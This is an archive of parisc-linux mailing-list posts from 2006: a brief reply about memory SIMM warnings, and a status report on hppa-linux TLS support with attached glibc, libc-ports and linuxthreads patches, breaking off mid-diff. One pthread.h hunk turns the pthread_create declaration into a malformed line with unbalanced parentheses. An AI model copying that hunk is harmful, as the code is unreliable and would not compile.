X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: HPMC in ppa_init()
Date: Thu, 25 May 2006 17:50:12 +0000
Lines: 25
Approved: news@gmane.org
Message-ID: <4475EE54.3080401@tiscali.be>
References: <20060525121929.DWFD5348.web2@localhost.localdomain>
	<20060525150250.GA6616@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624093 19710 80.91.229.3 (22 Nov 2014 02:41:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:33 +0000 (UTC)
Cc: kyjung@datatek.co.kr,
 parisc-linux <parisc-linux@lists.parisc-linux.org>,
 ?????? <jyson@datatek.co.kr>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 May 2006 17:50:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 25 May 2006 19:50:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5AFD7D6D1;
	Thu, 25 May 2006 11:50:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19606-09; Thu, 25 May 2006 11:50:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 011B47D6D2;
	Thu, 25 May 2006 11:50:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 817607D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 11:50:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19597-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 11:50:27 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2E4C17D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 May 2006 11:50:27 -0600 (MDT)
Original-Received: from (ip-62-235-223-134.dial.scarlet.be [62.235.223.134]) 
	by guri.is.scarlet.be  with ESMTP id k4PHoH907107; 
	Thu, 25 May 2006 19:50:17 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <20060525150250.GA6616@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AJscd1tVeWU3uq2TZm9nFb8rL0tsZo2d
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23700

Hello,

Grant Grundler wrote:
[snip]
> CPU 0
> 
> WARNING:  Memory configuration is not optimized for performance. Refer
> 
>>          to the System Installation or Memory Installation manuals for 
>>          memory configuration guidelines.
>>WARNING:  Memory SIMMs are not installed in the proper sequence. Refer
>>          to the System Installation or Memory Installation manuals for
>>          memory configuration guidelines.
>>
That will not resolve your pb but as I recently encounter such warning and know now that it's usefull, I would also take care of 
those messages. (may be simply check if all memory chips are pluged in correctly and 'in proper sequence')

Hth 2,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Close to mainline for hppa-linux TLS.
Date: Fri, 26 May 2006 10:29:45 -0400
Lines: 774
Approved: news@gmane.org
Message-ID: <119aab440605260729m1fad24ccta84a2ada06c82c7a@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="----=_Part_27885_23555842.1148653785481"
X-Trace: ger.gmane.org 1416624094 19725 80.91.229.3 (22 Nov 2014 02:41:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:34 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 randolph <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 May 2006 14:30:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 26 May 2006 16:30:28 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0E6F7D704;
	Fri, 26 May 2006 08:30:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29352-10; Fri, 26 May 2006 08:30:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3717D7D706;
	Fri, 26 May 2006 08:30:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 52DF47D700
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 08:30:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29343-07 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 08:30:18 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.227])
	by free.linux.hp.com (Postfix) with ESMTP id 2B8647D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 08:30:18 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i5so390643wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 May 2006 07:30:15 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:x-google-sender-auth;
	b=PmpVAFG1/HLP406BYeOJmluFJi0F919acbH3olLpBZHtcboSCbj7SxPsDLnELRVoTtp+cxQyyKVTDA/EsLfi3slDMN3zb0V33Czp9Onsty6ZyS01McfmVWOHtezYmJcTJiqCS5RAk2CkptEYE4UXSFrtpxTMuob9dnDvopi4JvM=
Original-Received: by 10.54.96.2 with SMTP id t2mr576696wrb;
	Fri, 26 May 2006 07:29:45 -0700 (PDT)
Original-Received: by 10.54.156.11 with HTTP; Fri, 26 May 2006 07:29:45 -0700 (PDT)
X-Google-Sender-Auth: df58ba9c11c966a7
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: MilBdTtGYmYSn+nCanc3Q6lKWkZTQRSd
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23701

------=_Part_27885_23555842.1148653785481
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Randolph,

This email documents our current TLS status. It does not document our
NPTL status.

- All gcc changes are in mainline.
- All binutils changes are in mainline.
- The following libc patch is from my local tree.
- The following linuxthreads patch if from my local tree.
- The following libc-ports patch is from my local tree.

To build a TLS enabled linuxhtreads:

1. Use any gcc with TLS patches.
2. Use mainline binutils.
3. Checkout libc, apply libc patch.
4. Checkout linuxthreads, apply linuxthreads patch.
5. Checkout libc-ports, apply libc-ports patch.
6. Move libc-ports to libc/ports/
7. Move linuxthreads to libc/linuxthreads-head/
8. cd libc/; mkdir linuxhtreads; cd linuxthreads;
    lndir ../linuxthreads-head/linuxthreads ".";
    cd ..; mkdir linuxthreads_db; cd linuxthreads_db;
    lndir ../linuxthreads-head/linuxthreads_db ".";
    After this you should have two shadow directories
    for linuxhtreads and linuxthreads_db.
9. Configure libc with:
    --target=3Dhppa-linux
    --host=3Dhppa-linux
    --build=3Dhpp-linux
    --disable-sanity-checks
    --prefix=3D<Your choice>
    --enable-add-ons=3Dports,linuxthreads
10. make.
11. make -k check

Observe failures :)

Cheers,
Carlos.

------=_Part_27885_23555842.1148653785481
Content-Type: text/x-patch; name=patch-libc-ports-2006-05-26.diff; 
	charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_enomisum
Content-Disposition: attachment; filename="patch-libc-ports-2006-05-26.diff"

Index: sysdeps/unix/sysv/linux/hppa/Versions
===================================================================
RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/Versions,v
retrieving revision 1.2
diff -u -p -r1.2 Versions
--- sysdeps/unix/sysv/linux/hppa/Versions	28 Aug 2002 23:55:01 -0000	1.2
+++ sysdeps/unix/sysv/linux/hppa/Versions	26 May 2006 14:12:18 -0000
@@ -16,6 +16,9 @@ libc {
     #errlist-compat	254
     _sys_errlist; sys_errlist; _sys_nerr; sys_nerr;
   }
+  GLIBC_2.4 {
+    #errlist-compat	256
+    sys_errlist;
 }
 librt {
   GLIBC_2.3 {






------=_Part_27885_23555842.1148653785481
Content-Type: text/x-patch; name=patch-libc-2006-05-26.diff; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_enomkgks
Content-Disposition: attachment; filename="patch-libc-2006-05-26.diff"

? linuxthreads
? linuxthreads-head
? linuxthreads_db
? ports
Index: elf/elf.h
===================================================================
RCS file: /cvs/glibc/libc/elf/elf.h,v
retrieving revision 1.154
diff -u -p -r1.154 elf.h
--- elf/elf.h	25 Feb 2006 01:57:44 -0000	1.154
+++ elf/elf.h	26 May 2006 14:12:49 -0000
@@ -1704,6 +1704,8 @@ typedef Elf32_Addr Elf32_Conflict;
 #define R_PARISC_LTOFF_FPTR14R	62	/* LT-rel. fct ptr, right 14 bits. */
 #define R_PARISC_FPTR64		64	/* 64 bits function address.  */
 #define R_PARISC_PLABEL32	65	/* 32 bits function address.  */
+#define R_PARISC_PLABEL21L	66	/* Left 21 bits of fdesc address */
+#define R_PARISC_PLABEL14R	70	/* Right 14 bits of fdesc address */
 #define R_PARISC_PCREL64	72	/* 64 bits PC-rel. address.  */
 #define R_PARISC_PCREL22F	74	/* 22 bits PC-rel. address.  */
 #define R_PARISC_PCREL14WR	75	/* PC-rel. address, right 14 bits.  */
@@ -1764,6 +1766,29 @@ typedef Elf32_Addr Elf32_Conflict;
 #define R_PARISC_LTOFF_TP16F	229	/* 16 bits LT-TP-rel. address.  */
 #define R_PARISC_LTOFF_TP16WF	230	/* 16 bits LT-TP-rel. address.  */
 #define R_PARISC_LTOFF_TP16DF	231	/* 16 bits LT-TP-rel. address.  */
+
+#define R_PARISC_GNU_VTENTRY    232
+#define R_PARISC_GNU_VTINHERIT  233
+#define R_PARISC_TLS_GD21L      234	/* GD 21-bit left */
+#define R_PARISC_TLS_GD14R      235	/* GD 14-bit right */
+#define R_PARISC_TLS_GDCALL     236	/* GD call to __t_g_a */
+#define R_PARISC_TLS_LDM21L     237	/* LD module 21-bit left */
+#define R_PARISC_TLS_LDM14R     238	/* LD module 14-bit right */
+#define R_PARISC_TLS_LDMCALL    239	/* LD module call to __t_g_a */
+#define R_PARISC_TLS_LDO21L     240	/* LD offset 21-bit left */
+#define R_PARISC_TLS_LDO14R     241	/* LD offset 14-bit right */
+#define R_PARISC_TLS_DTPMOD32   242	/* DTP module 32-bit */
+#define R_PARISC_TLS_DTPMOD64   243	/* DTP module 64-bit */
+#define R_PARISC_TLS_DTPOFF32   244	/* DTP offset 32-bit */
+#define R_PARISC_TLS_DTPOFF64   245	/* DTP offset 32-bit */
+
+#define R_PARISC_TLS_LE21L      R_PARISC_TPREL21L
+#define R_PARISC_TLS_LE14R      R_PARISC_TPREL14R
+#define R_PARISC_TLS_IE21L      R_PARISC_LTOFF_TP21L
+#define R_PARISC_TLS_IE14R      R_PARISC_LTOFF_TP14R
+#define R_PARISC_TLS_TPREL32    R_PARISC_TPREL32
+#define R_PARISC_TLS_TPREL64    R_PARISC_TPREL64
+
 #define R_PARISC_HIRESERVE	255
 
 /* Legal values for p_type field of Elf32_Phdr/Elf64_Phdr.  */
Index: elf/rtld.c
===================================================================
RCS file: /cvs/glibc/libc/elf/rtld.c,v
retrieving revision 1.362
diff -u -p -r1.362 rtld.c
--- elf/rtld.c	8 Apr 2006 19:50:51 -0000	1.362
+++ elf/rtld.c	26 May 2006 14:12:50 -0000
@@ -380,14 +380,14 @@ _dl_start (void *arg)
      know it is available.  We do not have to clear the memory if we
      do not have to use the temporary bootstrap_map.  Global variables
      are initialized to zero by default.  */
-#ifndef DONT_USE_BOOTSTRAP_MAP
+#if !defined DONT_USE_BOOTSTRAP_MAP
 # ifdef HAVE_BUILTIN_MEMSET
   __builtin_memset (bootstrap_map.l_info, '\0', sizeof (bootstrap_map.l_info));
 # else
-  for (size_t cnt = 0;
-       cnt < sizeof (bootstrap_map.l_info) / sizeof (bootstrap_map.l_info[0]);
-       ++cnt)
-    bootstrap_map.l_info[cnt] = 0;
+  /* Clear the whole bootstrap_map structure */
+  for (char *cnt = (char *)&(bootstrap_map);
+       cnt < ((char *)&(bootstrap_map) + sizeof (bootstrap_map));
+       *cnt++ = '\0');
 # endif
 #endif
 
Index: elf/tst-auditmod1.c
===================================================================
RCS file: /cvs/glibc/libc/elf/tst-auditmod1.c,v
retrieving revision 1.13
diff -u -p -r1.13 tst-auditmod1.c
--- elf/tst-auditmod1.c	5 Oct 2005 18:57:00 -0000	1.13
+++ elf/tst-auditmod1.c	26 May 2006 14:12:50 -0000
@@ -162,6 +162,12 @@ la_symbind64 (Elf64_Sym *sym, unsigned i
 # define La_regs La_ia64_regs
 # define La_retval La_ia64_retval
 # define int_retval lrv_r8
+#elif defined __hppa__
+# define pltenter la_hppa_gnu_pltenter
+# define pltexit la_hppa_gnu_pltexit
+# define La_regs La_hppa_regs
+# define La_retval La_hppa_retval
+# define int_retval lrv_r28
 #elif defined __mips__ && _MIPS_SIM == _ABIO32
 # define pltenter la_mips_o32_gnu_pltenter
 # define pltexit la_mips_o32_gnu_pltexit
Index: nptl/sysdeps/pthread/configure
===================================================================
RCS file: /cvs/glibc/libc/nptl/sysdeps/pthread/configure,v
retrieving revision 1.10
diff -u -p -r1.10 configure
--- nptl/sysdeps/pthread/configure	3 Dec 2003 06:50:01 -0000	1.10
+++ nptl/sysdeps/pthread/configure	26 May 2006 14:12:50 -0000
@@ -56,8 +56,7 @@ if { (eval echo "$as_me:$LINENO: \"$ac_l
   cat conftest.err >&5
   echo "$as_me:$LINENO: \$? = $ac_status" >&5
   (exit $ac_status); } &&
-	 { ac_try='test -z "$ac_c_werror_flag"
-			 || test ! -s conftest.err'
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
   { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
   (eval $ac_try) 2>&5
   ac_status=$?
@@ -121,8 +120,7 @@ if { (eval echo "$as_me:$LINENO: \"$ac_l
   cat conftest.err >&5
   echo "$as_me:$LINENO: \$? = $ac_status" >&5
   (exit $ac_status); } &&
-	 { ac_try='test -z "$ac_c_werror_flag"
-			 || test ! -s conftest.err'
+	 { ac_try='test -z "$ac_c_werror_flag"			 || test ! -s conftest.err'
   { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
   (eval $ac_try) 2>&5
   ac_status=$?
Index: nptl/sysdeps/pthread/pthread.h
===================================================================
RCS file: /cvs/glibc/libc/nptl/sysdeps/pthread/pthread.h,v
retrieving revision 1.41
diff -u -p -r1.41 pthread.h
--- nptl/sysdeps/pthread/pthread.h	5 Apr 2006 20:30:13 -0000	1.41
+++ nptl/sysdeps/pthread/pthread.h	26 May 2006 14:12:50 -0000
@@ -221,7 +221,7 @@ __BEGIN_DECLS
 extern int pthread_create (pthread_t *__restrict __newthread,
 			   __const pthread_attr_t *__restrict __attr,
 			   void *(*__start_routine) (void *),
-			   void *__restrict __arg) __THROW __nonnull ((1, 3));
+			   void *(__restrict __arg) __THROW __nonnull ((1, 3));
 
 /* Terminate calling thread.
 
Index: sysdeps/unix/sysv/linux/getcwd.c
===================================================================
RCS file: /cvs/glibc/libc/sysdeps/unix/sysv/linux/getcwd.c,v
retrieving revision 1.24
diff -u -p -r1.24 getcwd.c
--- sysdeps/unix/sysv/linux/getcwd.c	2 Apr 2006 17:58:28 -0000	1.24
+++ sysdeps/unix/sysv/linux/getcwd.c	26 May 2006 14:12:51 -0000
@@ -31,6 +31,9 @@
 
 #include <kernel-features.h>
 
+#ifndef MAX
+# define MAX(a, b) ((a) < (b) ? (b) : (a))
+#endif
 
 /* If we compile the file for use in ld.so we don't need the feature
    that getcwd() allocates the buffers itself.  */
Index: sysdeps/unix/sysv/linux/posix_fadvise.c
===================================================================
RCS file: /cvs/glibc/libc/sysdeps/unix/sysv/linux/posix_fadvise.c,v
retrieving revision 1.3
diff -u -p -r1.3 posix_fadvise.c
--- sysdeps/unix/sysv/linux/posix_fadvise.c	17 Aug 2003 00:36:22 -0000	1.3
+++ sysdeps/unix/sysv/linux/posix_fadvise.c	26 May 2006 14:12:51 -0000
@@ -35,6 +35,19 @@ posix_fadvise (int fd, off_t offset, off
     return INTERNAL_SYSCALL_ERRNO (ret, err);
   return 0;
 #else
+# ifdef __NR_fadvise64_64
+  INTERNAL_SYSCALL_DECL (err);  
+  int ret = INTERNAL_SYSCALL (fadvise64_64, err, 6, fd,
+			      __LONG_LONG_PAIR ((long) (offset >> 31),
+						(long) offset),
+			      __LONG_LONG_PAIR ((long) (len >> 31),
+						(long) len),
+			      advise);
+  if (INTERNAL_SYSCALL_ERROR_P (ret, err))
+    return INTERNAL_SYSCALL_ERRNO (ret, err);
+  return 0;
+# else
   return ENOSYS;
+# endif
 #endif
 }






------=_Part_27885_23555842.1148653785481
Content-Type: text/x-patch; name=patch-linuxthreads-2006-05-26.diff; 
	charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Attachment-Id: f_enomklax
Content-Disposition: attachment; filename="patch-linuxthreads-2006-05-26.diff"

Index: linuxthreads/descr.h
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/descr.h,v
retrieving revision 1.17
diff -u -p -r1.17 descr.h
--- linuxthreads/descr.h	26 Apr 2006 15:04:12 -0000	1.17
+++ linuxthreads/descr.h	26 May 2006 14:13:31 -0000
@@ -71,7 +71,7 @@ typedef struct _pthread_extricate_struct
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
Index: linuxthreads/manager.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/manager.c,v
retrieving revision 1.100
diff -u -p -r1.100 manager.c
--- linuxthreads/manager.c	1 May 2006 17:24:15 -0000	1.100
+++ linuxthreads/manager.c	26 May 2006 14:13:31 -0000
@@ -894,10 +894,11 @@ static void pthread_free(pthread_descr t
 #ifdef _STACK_GROWS_UP
 # ifdef USE_TLS
       size_t stacksize = guardaddr - th->p_stackaddr;
+      guardaddr = th->p_stackaddr;
 # else
       size_t stacksize = guardaddr - (char *)th;
-# endif
       guardaddr = (char *)th;
+# endif
 #else
       /* Guardaddr is always set, even if guardsize is 0.  This allows
 	 us to compute everything else.  */
Index: linuxthreads/oldsemaphore.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/oldsemaphore.c,v
retrieving revision 1.12
diff -u -p -r1.12 oldsemaphore.c
--- linuxthreads/oldsemaphore.c	20 Apr 2004 18:53:44 -0000	1.12
+++ linuxthreads/oldsemaphore.c	26 May 2006 14:13:31 -0000
@@ -31,7 +31,7 @@
 
 typedef struct {
     long int sem_status;
-    int sem_spinlock;
+    __atomic_lock_t sem_spinlock;
 } old_sem_t;
 
 extern int __old_sem_init (old_sem_t *__sem, int __pshared, unsigned int __value);
Index: linuxthreads/pt-machine.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/pt-machine.c,v
retrieving revision 1.3
diff -u -p -r1.3 pt-machine.c
--- linuxthreads/pt-machine.c	26 Aug 2002 22:39:45 -0000	1.3
+++ linuxthreads/pt-machine.c	26 May 2006 14:13:31 -0000
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
Index: linuxthreads/pthread.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/pthread.c,v
retrieving revision 1.139
diff -u -p -r1.139 pthread.c
--- linuxthreads/pthread.c	1 May 2006 17:24:15 -0000	1.139
+++ linuxthreads/pthread.c	26 May 2006 14:13:31 -0000
@@ -301,7 +301,7 @@ __pthread_initialize_minimal(void)
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO
   __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
   __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
 # endif
@@ -371,7 +371,7 @@ cannot allocate TLS data structures for 
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -385,7 +385,7 @@ cannot allocate TLS data structures for 
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO
   __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
   __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
 # endif
@@ -688,8 +688,8 @@ int __pthread_initialize_manager(void)
 # endif
   mgr->p_start_args = (struct pthread_start_args) PTHREAD_START_ARGS_INITIALIZER(__pthread_manager);
   mgr->p_nr = 1;
-# if __LT_SPINLOCK_INIT != 0
-  self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  mgr->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   mgr->p_alloca_cutoff = PTHREAD_STACK_MIN / 4;
 #else
@@ -930,7 +930,7 @@ pthread_descr __pthread_self_stack(void)
 # ifdef USE_TLS
 #  ifdef _STACK_GROWS_UP
   while (h->h_descr == NULL
-	 || ! (sp >= h->h_descr->p_stackaddr && sp < h->h_descr->p_guardaddr))
+	 || ! (sp >= (char *) h->h_descr->p_stackaddr && sp < (char *) h->h_descr->p_guardaddr))
     h++;
 #  else
   while (h->h_descr == NULL
Index: linuxthreads/spinlock.c
===================================================================
RCS file: /cvs/glibc/linuxthreads/linuxthreads/spinlock.c,v
retrieving revision 1.39
diff -u -p -r1.39 spinlock.c
--- linuxthreads/spinlock.c	2 Mar 2006 22:23:49 -0000	1.39
+++ linuxthreads/spinlock.c	26 May 2006 14:13:31 -0000
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -56,6 +56,9 @@ static inline void __pthread_release(int
    This is safe because there are no concurrent __pthread_unlock
    operations -- only the thread that locked the mutex can unlock it. */
 
+#if defined HAS_COMPARE_AND_SWAP
+#error hppa does not have CAS available in general for spinlocks.
+#endif
 
 void internal_function __pthread_lock(struct _pthread_fastlock * lock,
 				      pthread_descr self)
@@ -103,9 +106,9 @@ void internal_function __pthread_lock(st
 	  return;
 	}
       }
-#ifdef BUSY_WAIT_NOP
+# ifdef BUSY_WAIT_NOP
       BUSY_WAIT_NOP;
-#endif
+# endif
       __asm __volatile ("" : "=m" (lock->__status) : "m" (lock->__status));
     }
 
@@ -269,11 +272,11 @@ again:
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +379,7 @@ void __pthread_alt_lock(struct _pthread_
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +405,7 @@ void __pthread_alt_lock(struct _pthread_
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +454,7 @@ int __pthread_alt_timedlock(struct _pthr
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +477,7 @@ int __pthread_alt_timedlock(struct _pthr
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +577,7 @@ void __pthread_alt_unlock(struct _pthrea
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
